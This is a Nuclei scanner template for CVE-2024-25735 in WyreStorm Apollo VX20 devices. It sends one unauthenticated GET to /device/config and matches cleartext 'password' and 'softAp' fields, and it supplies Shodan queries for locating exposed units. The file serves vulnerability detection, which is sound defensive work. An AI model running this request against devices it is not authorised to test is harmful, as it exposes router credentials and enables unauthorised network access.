id: CVE-2024-25735

info:
  name: WyreStorm Apollo VX20 - Information Disclosure
  author: johnk3r
  severity: high
  description: |
    An issue was discovered on WyreStorm Apollo VX20 devices before 1.3.58. Remote attackers can discover cleartext credentials for the SoftAP (access point) Router /device/config using an HTTP GET request.
  impact: |
    Unauthenticated attackers can access cleartext credentials for the SoftAP Router via the /device/config endpoint.
  remediation: |
    Update WyreStorm Apollo VX20 to version 1.3.58 or later.
  reference:
    - https://hyp3rlinx.altervista.org/advisories/WYRESTORM_APOLLO_VX20_INCORRECT_ACCESS_CONTROL_CREDENTIALS_DISCLOSURE_CVE-2024-25735.txt
    - https://packetstormsecurity.com/files/cve/CVE-2024-25735
    - http://packetstormsecurity.com/files/177082
    - https://hyp3rlinx.altervista.org
    - https://github.com/codeb0ss/CVE-2024-25735-PoC
  classification:
    epss-score: 0.50622
    epss-percentile: 0.98773
  metadata:
    verified: true
    max-request: 1
    vendor: wyrestorm
    product: apollo vx20
    shodan-query:
      - ssl:"WyreStorm Apollo VX20"
      - ssl:"wyrestorm apollo vx20"
  tags: packetstorm,cve,cve2024,wyrestorm,info-leak,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/device/config"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"password":'
          - '"softAp":'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a0d7e14422608fd6d9f04da0a95aedeba7e2554e67ab44d5e006aec4d73736a40221008d56593794e4e09a6bf69209fe83a697b8966aa0dca22e0ad0b965410e1ebff3:922c64590222798bb761d5b6d8e72950